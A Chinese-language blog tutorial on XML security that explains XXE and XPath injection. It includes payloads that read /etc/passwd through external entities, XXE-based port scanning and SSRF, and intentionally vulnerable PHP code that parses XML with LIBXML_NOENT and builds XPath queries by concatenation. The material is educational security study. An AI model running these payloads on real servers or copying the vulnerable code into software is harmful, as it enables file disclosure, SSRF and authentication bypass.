XML安全问题

XML基础

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。一个完整的XML例子:

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="GBK"?>
<!DOCTYPE root[
<!ENTITY comrade "zxc">
<!ENTITY edarmoc "xxxx">
]>
<edd>
<a> &comrade; </a>
<b>
<c><d>&edarmoc;</d></c>
</b>
</edd>

可以看到有xml声明、DOCTYPE声明(实体必须在DOCTYPE中声明)等。解析结果:enter description here

XML安全问题

XXE

what’s XXE?

XXE也就是XML External Entity,XML外部实体注入。外部实体分SYSTEM和PUBLIC两种,引入外部实体格式如下:

1
<!ENTITY 引用名 SYSTEM(PUBLIC) "URI地址">

下面分别是PUBLIC和SYSTEM的例子

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE sdfdcxvxvc [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>

enter description here

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE sdfdcxvxvc [
<!ENTITY f PUBLIC "SZXCXZ" "file:///etc/passwd">
]>
<x>&f;</x>

enter description here可以看到,PUBLIC的话,需要在文件名前面加一个PUBLIC_ID.这里的原理是通过file协议把/etc/passwd的值赋给了实体f,然后f又被放在x元素中,被print出来了。
for windows:enter description here此处可以使用各种协议enter description herexml.php:

1
2
3
4
5
<?php 
$xml=file_get_contents('php://input');
$data=simplexml_load_string($xml,'SimpleXMLElement',$options=LIBXML_NOENT);
print_r($data);
?>

通过编码绕过关键词检测:enter description here

XXE用于端口扫描、SSRF

扫端口(http协议):enter description hereSSRF示例:
test.php

1
2
3
4
5
<?php

if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){
file_put_contents('/tmp/lol.txt',$_GET[comrade]);
}

POST:enter description here成功ssrf:enter description here

BLIND XXE?

遇到没有回显的情况,可以用BLIND XXE的技巧:1.用file协议读文件。2.用http协议把实体内容带出。本地测试各种换版本都不行,先放着不写。

用XML当数据库?

XPATH注入

test.xml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?xml version="1.0" encoding="UTF-8"?> 
<users>

<user>
<firstname>Ben</firstname>
<lastname>Elmore</lastname>
<loginID>abc</loginID>
<password>test123</password>
</user>

<user>
<firstname>Shlomy</firstname>
<lastname>Gantz</lastname>
<loginID>xyz</loginID>
<password>123test</password>
</user>

<user>
<firstname>Jeghis</firstname>
<lastname>Katz</lastname>
<loginID>mrj</loginID>
<password>jk2468</password>
</user>

<user>
<firstname>Darien</firstname>
<lastname>Heap</lastname>
<loginID>drano</loginID>
<password>2mne8s</password>
</user>

</users>

xml.php

1
2
3
4
5
6
<?php 
$xml=file_get_contents('test.xml');
$data=simplexml_load_string($xml,'SimpleXMLElement',$options=LIBXML_NOENT);
$result=$data->xpath("//users/user[loginID='".$_POST['loginID']."' and password='".$_POST['password']."']");
print_r($result);
?>

enter description here然后,类似于SQL注入,不能用注释符而已。enter description hereenter description here

XPATH盲注

可以看这篇文章

Referer

https://skysec.top/2018/08/17/%E6%B5%85%E6%9E%90xml%E5%8F%8A%E5%85%B6%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98/